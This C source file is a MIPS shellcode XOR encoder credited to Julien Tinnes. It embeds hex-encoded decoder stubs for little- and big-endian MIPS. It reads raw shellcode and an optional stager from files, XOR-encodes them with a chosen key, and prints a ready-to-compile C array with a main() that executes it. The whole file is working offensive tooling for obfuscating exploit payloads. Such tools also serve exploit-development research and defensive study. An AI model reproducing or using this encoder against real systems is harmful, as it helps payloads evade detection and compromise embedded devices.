/* MIPS shellcode encoder
 *
 * Julien TINNES <julien at cr0.org>
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <arpa/inet.h>

char xorencoder_le[88]="\xfb\xff\x0e\x24\x27\x70\xc0\x01\xb7\xff\x0b\x24\xff\xff\x10\x05\x82\x82\x08\x28\x27\x58\x60\x01\x21\xc8\xeb\x03\x82\x82\x17\x28\xfc\xff\x31\x8f\xfb\xff\x0d\x24\x27\x68\xa0\x01\xfd\xff\xaf\x21\xfc\xff\x28\x8f\x21\xb8\xef\x02\x26\x18\x11\x01\x2b\xf0\xee\x02\xfc\xff\x23\xaf\xff\xff\xa6\x21\xf9\xff\xc0\x17\x21\xc8\x2d\x03\x33\x10\x02\x24\x0c\x54\x4a\x01";


char xorencoder_be[88]="\x24\x0e\xff\xfb\x01\xc0\x70\x27\x24\x0b\xff\xb7\x05\x10\xff\xff\x28\x08\x82\x82\x01\x60\x58\x27\x03\xeb\xc8\x21\x28\x17\x82\x82\x8f\x31\xff\xfc\x24\x0d\xff\xfb\x01\xa0\x68\x27\x21\xaf\xff\xfd\x8f\x28\xff\xfc\x02\xef\xb8\x21\x01\x11\x18\x26\x02\xee\xf0\x2b\xaf\x23\xff\xfc\x21\xa6\xff\xff\x17\xc0\xff\xf9\x03\x2d\xc8\x21\x24\x02\x10\x33\x01\x4a\x54\x0c";

#define FULL_WRITE(fd, buf, len) full_op(fd, buf, len, (ssize_t (*)(int, const void*, size_t)) write);
#define FULL_READ(fd, buf, len) full_op(fd, buf, len, (ssize_t (*)(int, const void*, size_t)) read);

void	error(char *w) {
	perror(w);
	exit(1);
}


/* full write or full read */
ssize_t full_op(int fd, const void *buf, size_t len, ssize_t (*op)(int, const void *, size_t)) {

	ssize_t cc;
	ssize_t total;

	total = 0;

	while (len > 0) {

		cc = op(fd, buf, len);

		if (cc < 0)
			error("read/write");

		total+=cc;
		len-=cc;
		buf=((const char *)buf) + cc;
	}

	return total;
}
ssize_t	filetobuffer(void **scptr, char *filename, int index) {
	struct stat scfile;
	int fd;
	int count;

	if ((fd=open(filename, O_RDONLY)) == -1)
		error("open");

	if (fstat(fd, &scfile) == -1)
		error("fstat");
	if (scfile.st_size > 10240) {
		/* it probably is'nt too big though ;) */
		printf("This shellcode is too big\n");
		exit(1);
	}

	if ((*scptr=realloc(*scptr, index+scfile.st_size)) == NULL)
		error("realloc");

	count=FULL_READ(fd, (*scptr) + index, scfile.st_size);
	close(fd);
	return count;

}

void usage(char *argv[]) {
	printf("Usage: %s -L|-B <hexa_xorkey> [stager] <raw_shellcode_file>\n", argv[0]);
	exit(1);
}

int	main(int argc, char *argv[]) {

	void	*scbuf=NULL;
	int	sclen=0;
	int	rsclen;
	int	xork;
	int	i;
	char	*xorencoder;
	int	little_endian;

	printf("\n/*\nMips shellcode encoder\n"
	       "(C) Julien TINNES\n*/\n\n");
	if (argc < 4)
		usage(argv);

	if (!strcmp(argv[1], "-L")) {
		little_endian = 1;
		xorencoder = xorencoder_le;
		sclen=sizeof(xorencoder_le);
	}
	else {
		if (strcmp(argv[1], "-B"))
			usage(argv);
		little_endian = 0;
		xorencoder = xorencoder_be;
		sclen=sizeof(xorencoder_be);
	}

	/* copy our encoder to the heap */
	if ((scbuf=malloc(sclen)) == 0)
		error("malloc");
	memcpy(scbuf, xorencoder, sclen);

	if ((scbuf=realloc(scbuf, sclen+4)) == 0)
		error("malloc");

	sscanf(argv[2], "%X", &xork);
	((uint32_t *)scbuf)[sclen/4]=xork;

	sclen+=4;

	rsclen=sclen;

	
	sclen+=filetobuffer(&scbuf, argv[3], sclen);

	if(argc > 4) {
		sclen+=filetobuffer(&scbuf, argv[4], sclen);
	}

	if (sclen%4)
		printf("#warning Your shellcode is not 4-bytes aligned, the end will not be xored\n");
	
	/* xor encode the shellcode */
	for (i=0; i<((sclen-rsclen)/4); i++)
		((uint32_t *)scbuf)[rsclen/4+i]^=xork;

	/* fix number of passes in first opcode */
	printf("/* number of passes: %d, shellcode size: %d bytes */\n", (sclen-rsclen)/4+1, sclen);
	if (little_endian)
		((int16_t *)scbuf)[0]=(~((int16_t)((sclen-rsclen)/4+2)));
	else
		((int16_t *)scbuf)[1]=htons(~((int16_t)((sclen-rsclen)/4+2)));

	//printf("sclen = %d\n", sclen);
	//write(1, scbuf, sclen);
	printf("char shellcode[]=\"");
	for (i=0; i<sclen; i++)
		printf("\\x%.02x", ((unsigned char *)scbuf)[i]);
	printf("\";\n\n");
	printf("int main(void) {\n((void (*)(void))shellcode)();\n}\n\n");

	return 0;

}

